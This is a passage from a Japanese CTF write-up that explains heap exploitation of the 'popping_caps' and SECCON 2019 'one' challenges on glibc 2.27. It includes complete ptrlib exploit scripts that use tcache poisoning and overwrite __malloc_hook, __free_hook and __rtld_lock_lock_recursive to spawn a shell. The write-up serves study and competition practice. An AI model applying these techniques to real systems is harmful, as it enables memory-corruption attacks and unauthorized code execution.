    sock.sendlineafter("free: ", str(distance))

def write(content):
    sock.sendlineafter("choice: ", "3")
    sock.sendafter("me in: ", content)

malloc(100)
free(-0x260 + 0x10)
malloc(0x248)
# write(b"\xff" * 64 + p64(libc_base + libc.symbol("__free_hook")))
# malloc(0x18)
# write(p64(libc_base + libc.symbol("system")) + b"/bin/sh\0\0\0\0\0\0")
# free(8)
write(b"\xff" * 64 + p64(libc_base + libc.symbol("__malloc_hook")))
malloc(0x18)
write(p64(libc_base + libc.symbol("system")))
malloc(str(libc_base + next(libc.find("/bin/sh"))))
sock.interactive()

これだけではあんまりなので、 __rtld_lock_lock_recursiveを使った解法もやってみる。プロセスの終了時に(exit_handlerで) ld.so の中の _dl_fini という関数が呼ばれるのだが、この中で __rtld_lock_lock_recursiveという関数ポインタに登録された関数の呼び出しが行われる。この変数のアドレスは libc_base から算出可能なのでここに one gadget を登録しておくとあとで呼び出される。 この手法は _exit を直接呼び出していきなりシステムコールで終了しているようなバイナリでは使えない。

from ptrlib import *

sock = Process("./popping_caps")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_addr = int(sock.recvlineafter("0x"), 16)
libc_base = system_addr - libc.symbol("system")

def malloc(size):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("How many: ", str(size))

def free(distance):
    sock.sendlineafter("choice: ", "2")
    sock.sendlineafter("free: ", str(distance))

def write(content):
    sock.sendlineafter("choice: ", "3")
    sock.sendafter("me in: ", content)


rtld_lock_lock_offset = 0x7ffff7ffdf60 - 0x7ffff79e4000
malloc(100)
free(-0x260 + 0x10)
malloc(0x248)
write(b"\xff" * 64 + p64(libc_base + rtld_lock_lock_offset))
malloc(0x18)
write(p64(libc_base + 0xe569f))
sock.interactive()

SECCON 2019 Online - one

libc 2.27 で add/show/ deleteができて double freeがある。ただし note のページ数が1しかなく、add/show/deleteは全て一つの変数を対象に行われる。

まず libc のアドレスを手に入れる。double freeがありfreeされたアドレスをshowできるバイナリでは、binsに繋がれた chunk をshowしてmain_arenaのアドレスから libc_base を手に入れるのが良い。ただし fastbin や bins の free 時にはその chunk の次の chunk(とその次のchunk?)のサイズが 適切かどうかと、次の chunkの prev_inuse bit がちゃんと立っているかを見る処理が入っているので、これに配慮する必要がある。

そこで今回は サイズ 0x500 の fake chunk をfreeするために、 malloc を繰り返して 0x500 程度の領域を埋め、雑に size っぽい値を書き込んでおいた。あとは tcache poisoning でこの fake chunk を freeしてからshowすれば libc_base が手に入る。

libc_baseが手に入ったらあとは __free_hooksystem に向けるなどすればシェルが取れる。

from ptrlib import *

sock = Process("./one")
elf = ELF("./one")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def add(content):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", content)

def show():
    sock.sendlineafter("> ", "2")
    return sock.recvline()

def delete():
    return sock.sendlineafter("> ", "3")

add(b"A"*32 + p64(0) + p64(0x501) + p64(0))
size = 0
while size < 0x500:
    add(p64(0x21) * 7)
    size += 0x50

delete()
delete()
delete()
delete()
heap_addr = u64(show())
heap_head = heap_addr - 0x1770
first_chunk = heap_head + 0x260 + 0x1010

add(p64(first_chunk + 0x30))
add(p64(first_chunk + 0x30))
add("mogumogu")
delete()
main_arena_96 = u64(show())

libc_base = main_arena_96 - 96 - libc.main_arena()
print("libc_base: 0x{:0x}".format(libc_base))

add("takoyaki")
delete()
delete()
add(p64(libc_base + libc.symbol("__free_hook")))
add(p64(libc_base + libc.symbol("__free_hook")))
add(p64(libc_base + libc.symbol("system")))
add("/bin/sh")
delete()
sock.interactive()

*1:というのも、https://elixir.bootlin.com/glibc/glibc-2.28/source/malloc/malloc.c を見た限りだとkeyない

*2:chunkの、tcache_entry.keyに当たる部分がtcacheのアドレスと同じ値になっている確率は非常に低いが、0ではないので、こちらでまずチェックして怪しければエントリを全部見てちゃんと確かめる